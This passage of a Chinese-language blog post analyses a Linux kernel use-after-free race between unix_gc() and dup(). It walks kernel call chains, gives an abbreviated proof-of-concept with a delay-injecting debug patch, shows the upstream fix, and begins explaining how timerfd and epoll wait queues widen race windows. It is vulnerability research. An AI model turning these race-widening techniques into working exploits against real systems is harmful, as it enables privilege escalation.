</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">unix_gc()</span><br><span class="line">...</span><br><span class="line">skb_queue_head_init(&hitlist);</span><br><span class="line">list_for_each_entry(u, &gc_candidates, link) <span class="comment">// 从gc_candidates取skb到hitlist</span></span><br><span class="line">scan_children(&u->sk, inc_inflight, <span class="literal">NULL</span>);</span><br><span class="line">scan_inflight(&u->sk, func, hitlist);</span><br><span class="line">__skb_queue_tail(hitlist, skb);</span><br><span class="line">...</span><br><span class="line">__skb_queue_purge(&hitlist); <span class="comment">// (4)</span></span><br><span class="line">kfree_skb(skb);</span><br><span class="line">...</span><br><span class="line">**skb->destructor() <span class="comment">// 在 sendmsg 设置</span></span><br><span class="line">unix_destruct_scm()**</span><br><span class="line">scm_destroy()</span><br><span class="line">__scm_destroy()</span><br><span class="line">**fput() <span class="comment">// 如果 f_count 是 1 则减到 0 然后释放 file**</span></span><br><span class="line">kfree_skbmem()</span><br><span class="line">**kmem_cache_free(.., skb) <span class="comment">// 释放 skb**</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// unix_destruct_scm 在 sendmsg 设置</span></span><br><span class="line">sendmsg()</span><br><span class="line"> __sys_sendmsg()</span><br><span class="line"> sock_sendmsg()</span><br><span class="line"> sock_sendmsg_nosec()</span><br><span class="line"> unix_stream_sendmsg() <span class="comment">// struct unix_stream_ops </span></span><br><span class="line"> skb = sock_alloc_send_pskb()</span><br><span class="line"> unix_scm_to_skb()</span><br><span class="line">**skb->destructor = unix_destruct_scm;**</span><br></pre></td></tr></table></figure><h3 id="unix-gc-何时被调用?"><a href="#unix-gc-何时被调用?" class="headerlink" title="unix_gc() 何时被调用?"></a><code>unix_gc()</code> 何时被调用?</h3><ul><li><code>close()</code> 可以间接触发<ul><li>具体入口的 <code>syscall_exit_to_user_mode() - __fput()</code></li></ul></li><li><code>sendmsg()</code> 也可以触发但只在队列满的时候<ul><li><code>sendmsg() - wait_for_unix_gc()</code></li></ul></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// close() 一个 f_count 为 1 的文件时触发</span></span><br><span class="line"><span class="built_in">close</span>()</span><br><span class="line"> close_fd()</span><br><span class="line"> filp_close()</span><br><span class="line"> fput()</span><br><span class="line"> fput_many(file, <span class="number">1</span>);</span><br><span class="line"> atomic_long_sub_and_test(refs, &file->f_count) </span><br><span class="line"> init_task_work(&file->f_u.fu_rcuhead, ____fput)</span><br><span class="line"> task_work_add(task, &file->f_u.fu_rcuhead, TWA_RESUME)</span><br><span class="line">entry_SYSCALL_64 </span><br><span class="line">do_syscall_64</span><br><span class="line">syscall_exit_to_user_mode</span><br><span class="line">...</span><br><span class="line">tracehook_notify_resume</span><br><span class="line">task_work_run()</span><br><span class="line">__fput() </span><br><span class="line">sock_close() <span class="comment">// (struct file *) ->f_op->release()</span></span><br><span class="line">__sock_release() </span><br><span class="line">unix_release() <span class="comment">// (struct socket *) ->ops->release()</span></span><br><span class="line">unix_release_sock() </span><br><span class="line">**unix_gc()**</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只有 inflight sockets 超过 UNIX_INFLIGHT_TRIGGER_GC(16000) 才会调用</span></span><br><span class="line">sendmsg()</span><br><span class="line">...</span><br><span class="line">unix_stream_sendmsg()/unix_dgram_sendmsg()</span><br><span class="line">wait_for_unix_gc()</span><br><span class="line"><span class="keyword">if</span> (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)</span><br><span class="line">**unix_gc();**</span><br></pre></td></tr></table></figure><h3 id="dup-的作用和实现原理?"><a href="#dup-的作用和实现原理?" class="headerlink" title="dup() 的作用和实现原理?"></a>dup() 的作用和实现原理?</h3><ul><li>根据 fd 从 fd table 中获取 <code>struct file *file</code></li><li>如果 <code>f_count</code> 不为 0 则 <code>file->f_count += 1</code></li><li>fd table 中新建一个条目指向 file</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">SYSCALL_DEFINE1(dup, <span class="keyword">unsigned</span> <span class="keyword">int</span>, fildes)</span><br><span class="line"> fget_raw()</span><br><span class="line"> __fget(fd, FMODE_PATH, <span class="number">1</span>)</span><br><span class="line"> __fget_files(current->files, fd, mask, refs)</span><br><span class="line">file = files_lookup_fd_rcu(files, fd);<span class="comment">// 根据 fd 从 fd table 中获取 struct file *file</span></span><br><span class="line"> get_file_rcu_many(file, refs) </span><br><span class="line">atomic_long_add_unless(&(x)->f_count, (cnt), <span class="number">0</span>) <span class="comment">// if not 0, file->f_count += 1</span></span><br><span class="line">get_unused_fd_flags()</span><br><span class="line">fd_install() <span class="comment">// fd table 中新建一个条目指向 file</span></span><br></pre></td></tr></table></figure><h3 id="close-的作用和实现原理?"><a href="#close-的作用和实现原理?" class="headerlink" title="close() 的作用和实现原理?"></a><code>close()</code> 的作用和实现原理?</h3><ul><li>使 fd 重新可用</li><li>把 fd table 中 fd 对应的条目删除(设置为 NULL)</li><li>fd table 中原来指向的 <code>struct file</code> 的 <code>f_count</code> 减 1,如果减到 0 则释放 struct file 的内存</li><li><code>close</code> 不一定会立马释放 <code>struct file</code>, 但是用户态不能再访问该 <code>fd</code>,比如<code>dup(fd)</code>,<code>read(fd)</code> ..</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">close</span>()</span><br><span class="line"> close_fd()</span><br><span class="line"> pick_file()</span><br><span class="line"> fdt = files_fdtable(files);</span><br><span class="line"> file = fdt->fd[fd];</span><br><span class="line"> **rcu_assign_pointer(fdt->fd[fd], <span class="literal">NULL</span>); <span class="comment">// fd table 中 fd 对应的条目删除</span></span><br><span class="line"> __put_unused_fd(files, fd); <span class="comment">// 使 fd 重新可用**</span></span><br><span class="line"> filp_close()</span><br><span class="line"> **fput()**</span><br><span class="line"> fput_many(file, <span class="number">1</span>); <span class="comment">// fd table 中原来指向的 struct file 的 f_count 减 1</span></span><br><span class="line"> atomic_long_sub_and_test(refs, &file->f_count)</span><br><span class="line"> **init_task_work(&file->f_u.fu_rcuhead, ____fput)**</span><br><span class="line"> task_work_add(task, &file->f_u.fu_rcuhead, TWA_RESUME)</span><br><span class="line"></span><br><span class="line">____fput()</span><br><span class="line">__fput()</span><br><span class="line">file_free()</span><br><span class="line">file_free_rcu()</span><br><span class="line">**kmem_cache_free(filp_cachep, f) <span class="comment">// 如果减到 0 则释放 struct file 的内存**</span></span><br></pre></td></tr></table></figure><h3 id="增加-kernel-delay-patch-的-poc-如何-work"><a href="#增加-kernel-delay-patch-的-poc-如何-work" class="headerlink" title="增加 kernel delay patch 的 poc 如何 work ?"></a>增加 kernel delay patch 的 poc 如何 work ?</h3><ul><li>line-27 将 pair[0] f_count +1 并添加到 <code>gc_inflight_list</code> 和 <code>sk_receive_queue</code></li><li>line-29 和 line-43 用于触发 <code>unix_gc()</code> 调用, 因为需要一个 <code>f_count</code> 为 1 的 <code>fd</code> 被 <code>close()</code></li><li>line-36 用于等待 <code>resurrect_fn()->dup()->__fget_files()</code> 调用进入 race window 拿到 <code>struct file</code> , 因为 line-37 会把 <code>pair[0]</code> 从 fd table 中移除。 usleep 的时间 100000 us 要小于 kernel patch 的 500ms</li><li>line-43 会在 <code>__fget_files()</code> 等待的期间执行 <code>unix_gc()</code> , 在执行到准备释放 skb 的代码时,会等待 line-11 的 dup() 完成。</li><li><code>dup()</code> 完成后执行到 line-16 的 <code>recvmsg()</code> ,内核会等待 line-43 触发的 <code>unix_gc()</code> 完成 skb 的释放</li><li><code>unix_gc()</code> 完成后,<code>recvmsg()</code> 继续执行拿到被释放的 skb,UAF</li></ul><p>省略版 <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2247" target="_blank" rel="noopener">POC</a>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span> <span class="function"><span class="keyword">void</span> <span class="title">send_fd</span><span class="params">(<span class="keyword">int</span> sock, <span class="keyword">int</span> fd)</span> </span>{</span><br><span class="line"><span class="number">2</span> ...</span><br><span class="line"><span class="number">3</span> sendmsg(sock, &msg, <span class="number">0</span>);</span><br><span class="line"><span class="number">4</span> }</span><br><span class="line"><span class="number">5</span></span><br><span class="line"><span class="number">6</span> <span class="keyword">int</span> resurrect_fd = <span class="number">-1</span>;</span><br><span class="line"><span class="number">7</span> <span class="keyword">int</span> resurrected_fd = <span class="number">-1</span>;</span><br><span class="line"><span class="number">8</span></span><br><span class="line"><span class="number">9</span> <span class="function"><span class="keyword">void</span> *<span class="title">resurrect_fn</span><span class="params">(<span class="keyword">void</span> *arg)</span> </span>{</span><br><span class="line"><span class="number">10</span> prctl(PR_SET_NAME, <span class="string">"SLOW-ME"</span>); <span class="comment">// tell kernel to inject mdelay()</span></span><br><span class="line"><span class="number">11</span> resurrected_fd = dup(resurrect_fd);</span><br><span class="line"><span class="number">12</span> prctl(PR_SET_NAME, <span class="string">"resurrect"</span>);</span><br><span class="line"><span class="number">13</span></span><br><span class="line"><span class="number">14</span> prctl(PR_SET_NAME, <span class="string">"SLOW-RECV"</span>);</span><br><span class="line"><span class="number">15</span> ...</span><br><span class="line"><span class="number">16</span> <span class="keyword">int</span> recv_bytes = recvmsg(resurrected_fd, &msg, MSG_DONTWAIT);</span><br><span class="line"><span class="number">17</span> prctl(PR_SET_NAME, <span class="string">"resurrect"</span>);</span><br><span class="line"><span class="number">18</span></span><br><span class="line"><span class="number">19</span> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="number">20</span> }</span><br><span class="line"><span class="number">21</span></span><br><span class="line"><span class="number">22</span> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"><span class="number">23</span> <span class="comment">/* create socketpair */</span></span><br><span class="line"><span class="number">24</span> <span class="keyword">int</span> pair[<span class="number">2</span>];</span><br><span class="line"><span class="number">25</span> socketpair(AF_UNIX, SOCK_STREAM, <span class="number">0</span>, pair);</span><br><span class="line"><span class="number">26</span></span><br><span class="line"><span class="number">27</span> send_fd(pair[<span class="number">1</span>], pair[<span class="number">0</span>]);</span><br><span class="line"><span class="number">28</span></span><br><span class="line"><span class="number">29</span> <span class="keyword">int</span> trigger_sock = socket(AF_UNIX, SOCK_DGRAM, <span class="number">0</span>);</span><br><span class="line"><span class="number">30</span></span><br><span class="line"><span class="number">31</span> resurrect_fd = pair[<span class="number">0</span>];</span><br><span class="line"><span class="number">32</span></span><br><span class="line"><span class="number">33</span> <span class="keyword">pthread_t</span> resurrect_thread;</span><br><span class="line"><span class="number">34</span> pthread_create(&resurrect_thread, <span class="literal">NULL</span>, resurrect_fn, <span class="literal">NULL</span>);</span><br><span class="line"><span class="number">35</span></span><br><span class="line"><span class="number">36</span> usleep(<span class="number">100000</span>); <span class="comment">/* wait for fget_raw() to see pointer */</span></span><br><span class="line"><span class="number">37</span> <span class="built_in">close</span>(pair[<span class="number">0</span>]);</span><br><span class="line"><span class="number">38</span></span><br><span class="line"><span class="number">39</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">40 * trigger unix GC; has to read file_count() before file inc</span></span><br><span class="line"><span class="comment">41 * but do hitlist kill after file inc</span></span><br><span class="line"><span class="comment">42 */</span></span><br><span class="line"><span class="number">43</span> <span class="built_in">close</span>(trigger_sock);</span><br><span class="line"><span class="number">44</span></span><br><span class="line"><span class="number">45</span> <span class="comment">/* make sure dup() has really finished */</span></span><br><span class="line"><span class="number">46</span> pthread_join(resurrect_thread, <span class="literal">NULL</span>);</span><br><span class="line"><span class="number">47</span></span><br><span class="line"><span class="number">48</span> }</span><br></pre></td></tr></table></figure><p><a href="https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=531225" target="_blank" rel="noopener">kernel patch</a> 增加三个 mdelay </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">@@ <span class="number">-850</span>,<span class="number">6</span> +<span class="number">852</span>,<span class="number">13</span> @@ <span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">file</span> *__<span class="title">fget_files</span>(<span class="title">struct</span> <span class="title">files_struct</span> *<span class="title">files</span>, <span class="title">unsigned</span> <span class="title">int</span> <span class="title">fd</span>,</span></span><br><span class="line"><span class="class"> <span class="title">loop</span>:</span></span><br><span class="line"> file = files_lookup_fd_rcu(files, fd);</span><br><span class="line"> <span class="keyword">if</span> (file) {</span><br><span class="line">+ <span class="keyword">if</span> (<span class="built_in">strcmp</span>(current->comm, <span class="string">"SLOW-ME"</span>) == <span class="number">0</span>) {</span><br><span class="line">+ pr_warn(<span class="string">"slowing lookup of fd %u to file 0x%lx with %ld refs\n"</span>,</span><br><span class="line">+ fd, (<span class="keyword">unsigned</span> <span class="keyword">long</span>)file, file_count(file));</span><br><span class="line">**+ mdelay(<span class="number">500</span>);**</span><br><span class="line">+ pr_warn(<span class="string">"slowed lookup of fd %u to file 0x%lx with %ld refs\n"</span>,</span><br><span class="line">+ fd, (<span class="keyword">unsigned</span> <span class="keyword">long</span>)file, file_count(file));</span><br><span class="line">+ }</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line">@@ <span class="number">-2631</span>,<span class="number">6</span> +<span class="number">2633</span>,<span class="number">12</span> @@ <span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">unix_stream_read_generic</span><span class="params">(struct unix_stream_read_state *state,</span></span></span><br><span class="line"><span class="function"><span class="params"> last = skb = skb_peek(&sk->sk_receive_queue);</span></span></span><br><span class="line"><span class="function"><span class="params"> last_len = last ? last->len : <span class="number">0</span>;</span></span></span><br><span class="line"><span class="function"><span class="params"> </span></span></span><br><span class="line"><span class="function"><span class="params">+ <span class="keyword">if</span> (<span class="built_in">strcmp</span>(current->comm, <span class="string">"SLOW-RECV"</span>) == <span class="number">0</span>) {</span></span></span><br><span class="line"><span class="function"><span class="params">+ pr_warn(<span class="string">"recvmsg: delaying stream receive\n"</span>);</span></span></span><br><span class="line"><span class="function"><span class="params">+ mdelay(<span class="number">500</span>);</span></span></span><br><span class="line"><span class="function"><span class="params">+ pr_warn(<span class="string">"recvmsg: delayed stream receive\n"</span>);</span></span></span><br><span class="line"><span class="function"><span class="params">+ }</span></span></span><br><span class="line"><span class="function"><span class="params">+</span></span></span><br><span class="line"><span class="function"><span class="params">...</span></span></span><br><span class="line"><span class="function"><span class="params">@@ <span class="number">-210</span>,<span class="number">8</span> +<span class="number">212</span>,<span class="number">11</span> @@ <span class="keyword">void</span> unix_gc(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"><span class="params">...</span></span></span><br><span class="line"><span class="function"><span class="params"> skb_queue_head_init(&hitlist);</span></span></span><br><span class="line"><span class="function"><span class="params">+ <span class="keyword">if</span> (<span class="built_in">strcmp</span>(current->comm, <span class="string">"resurrect"</span>) == <span class="number">0</span>) {</span></span></span><br><span class="line"><span class="function"><span class="params">+ pr_warn(<span class="string">"unix: delaying hitlist setup\n"</span>);</span></span></span><br><span class="line"><span class="function"><span class="params">+ mdelay(<span class="number">500</span>);</span></span></span><br><span class="line"><span class="function"><span class="params">+ pr_warn(<span class="string">"unix: hitlist setup delay done\n"</span>);</span></span></span><br><span class="line"><span class="function"><span class="params">+ }</span></span></span><br><span class="line"><span class="function"><span class="params"> list_for_each_entry(u, &gc_candidates, link)</span></span></span><br><span class="line"><span class="function"><span class="params"> scan_children(&u->sk, inc_inflight, &hitlist);</span></span></span><br></pre></td></tr></table></figure><h3 id="fixed-patch-如何-work"><a href="#fixed-patch-如何-work" class="headerlink" title="fixed patch 如何 work ?"></a>fixed <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=054aa8d439b9185d4f5eb9a90282d1ce74772969" target="_blank" rel="noopener">patch</a> 如何 work ?</h3><ul><li>补丁效果:在 race window 期间,如果 fd 对应的 <code>struct file</code> 已经从 fd table 移除,则回退对 <code>f_count</code> 的操作,如果发现回退后变为 0 则直接释放 <code>struct file</code></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/fs/file.c b/fs/file.c</span><br><span class="line">index <span class="number">8627</span>dacfc4246..ad4a8bf3cf109 <span class="number">100644</span></span><br><span class="line">--- a/fs/file.c</span><br><span class="line">+++ b/fs/file.c</span><br><span class="line">@@ <span class="number">-858</span>,<span class="number">6</span> +<span class="number">858</span>,<span class="number">10</span> @@ loop:</span><br><span class="line"> file = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (!get_file_rcu_many(file, refs))</span><br><span class="line"> <span class="keyword">goto</span> loop;</span><br><span class="line">+<span class="keyword">else</span> <span class="keyword">if</span> (files_lookup_fd_raw(files, fd) != file) {</span><br><span class="line">+fput_many(file, refs);</span><br><span class="line">+<span class="keyword">goto</span> loop;</span><br><span class="line">+}</span><br><span class="line"> }</span><br><span class="line"> rcu_read_unlock();</span><br></pre></td></tr></table></figure><h2 id="Part-3"><a href="#Part-3" class="headerlink" title="Part.3"></a>Part.3</h2><h3 id="如何利用-hrtimer-扩大-race-成功率?"><a href="#如何利用-hrtimer-扩大-race-成功率?" class="headerlink" title="如何利用 hrtimer 扩大 race 成功率?"></a>如何利用 hrtimer 扩大 race 成功率?</h3><ul><li><code>timerfd_create</code> + <code>timerfd_settime</code> 可以在指定时间(纳秒)后触发 timer interrupt</li><li>timer interrupt handler 会调用 <code>__wake_up_common</code> 遍历 wait queue 并执行回调函数。这意味着 wait queue 越长,处在 interrupt context 的时间越长</li><li>利用这一点可以让进程在 race window 中被中断,然后在另一个 CPU 上运行需要与之 race 的进程</li></ul><p><strong>wait queue item 在哪里添加和读取 ?</strong></p><ul><li>每一个 <code>EPOLL_CTL_ADD</code> 会在 timer_fd 的 wait queue 上添加一个执行 <code>ep_poll_callback</code> 的 entry</li><li>在 <code>timerfd_triggered</code> 中 从 timer_fd 的 wait queue 中取出 entry</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// epoll_ctl(epoll_fds[i], EPOLL_CTL_ADD, timer_fds[j]</span></span><br><span class="line"></span><br><span class="line">do_epoll_ctl() <span class="comment">// 在 ep_ptable_queue_proc 中添加 wait_queue_enty</span></span><br><span class="line">ep_insert(struct eventpoll *ep, ..</span><br><span class="line">struct ep_pqueue epq;</span><br><span class="line">init_poll_funcptr(&epq.pt, **ep_ptable_queue_proc**); <span class="comment">// epq.pt._qproc = **ep_ptable_queue_proc**</span></span><br><span class="line">ep_item_poll(epi, &epq.pt, <span class="number">1</span>);</span><br><span class="line">vfs_poll</span><br><span class="line">timerfd_poll <span class="comment">// struct file_operations timerfd_fops.poll</span></span><br><span class="line">struct timerfd_ctx *ctx = file->private_data;</span><br><span class="line">poll_wait(file, &ctx->wqh, wait); <span class="comment">// &ctx->wqh: whead, wait: &epq.pt, (include/linux/poll.h)</span></span><br><span class="line">**ep_ptable_queue_proc**(struct file *file, <span class="keyword">wait_queue_head_t</span> *whead, poll_table *pt)</span><br><span class="line">struct epitem *epi = ep_item_from_epqueue(pt);</span><br><span class="line">struct eppoll_entry *pwq;</span><br><span class="line">...</span><br><span class="line">pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL);</span><br><span class="line"> ...</span><br><span class="line">**init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);**</span><br><span class="line">...</span><br><span class="line">**add_wait_queue(whead, &pwq->wait); <span class="comment">// whead:** &ctx->wqh</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">struct ep_pqueue {</span><br><span class="line"> poll_table pt;</span><br><span class="line"> struct epitem *epi;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">struct poll_table_struct {</span><br><span class="line"> poll_queue_proc _qproc; <span class="comment">// void (*)(struct file *, wait_queue_head_t *, struct poll_table_struct *)</span></span><br><span class="line"> <span class="keyword">__poll_t</span> _key;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">local_apic_timer_interrupt()</span><br><span class="line">**hrtimer_interrupt()**</span><br><span class="line">...</span><br><span class="line">timerfd_tmrproc()</span><br><span class="line">**timerfd_triggered()** </span><br><span class="line">**spin_lock_irqsave(&ctx->wqh.lock, flags);** <span class="comment">// 关中断</span></span><br><span class="line">****ctx->expired = <span class="number">1</span>;</span><br><span class="line">ctx->ticks++;</span><br><span class="line">wake_up_locked_poll(**&ctx->wqh**, EPOLLIN);</span><br><span class="line">**__wake_up_common() <span class="comment">// 遍历 wait queue, 执行 callback**</span></span><br><span class="line"><span class="keyword">wait_queue_entry_t</span> *curr, *next;</span><br><span class="line">**list_for_each_entry_safe_from(curr, next, &wq_head->head, entry)** </span><br><span class="line">ret = curr->func(curr, mode, wake_flags, key); <span class="comment">// ep_poll_callback</span></span><br><span class="line">spin_unlock_irqrestore(&ctx->wqh.lock, flags);</span><br></pre></td></tr></table></figure><p><code>**timerfd_tmrproc</code> 在 <code>timerfd_setup</code> 中设置**</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">timerfd_setup</span><span class="params">(struct timerfd_ctx *ctx, <span class="keyword">int</span> flags,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> struct itimerspec64 *ktmr)</span></span></span><br><span class="line">..</span><br><span class="line">hrtimer_init(&ctx->t.tmr, clockid, htmode);</span><br><span class="line">hrtimer_set_expires(&ctx->t.tmr, texp);</span><br><span class="line">ctx->t.tmr.function = timerfd_tmrproc;</span><br></pre></td></tr></table></figure><p><code>**struct timerfd_ctx</code>, <code>struct file</code> , <code>struct hrtimer</code> 之间的关系**</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">timerfd_ctx</span> *<span class="title">ctx</span> = <span class="title">file</span>-><span class="title">private_data</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hrtimer</span> *<span class="title">htmr</span> = &<span class="title">ctx</span>-><span class="title">t</span>.<span class="title">tmr</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">timerfd_ctx</span> *<span class="title">ctx</span> = <span class="title">container_of</span>(<span class="title">htmr</span>, <span class="title">struct</span> <span class="title">timerfd_ctx</span>, <span class="title">t</span>.<span class="title">tmr</span>);</span></span><br></pre></td></tr></table></figure><p><strong>测试代码:</strong></p><p>向 wait queue 中添加 500 * 500 个 entry</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span 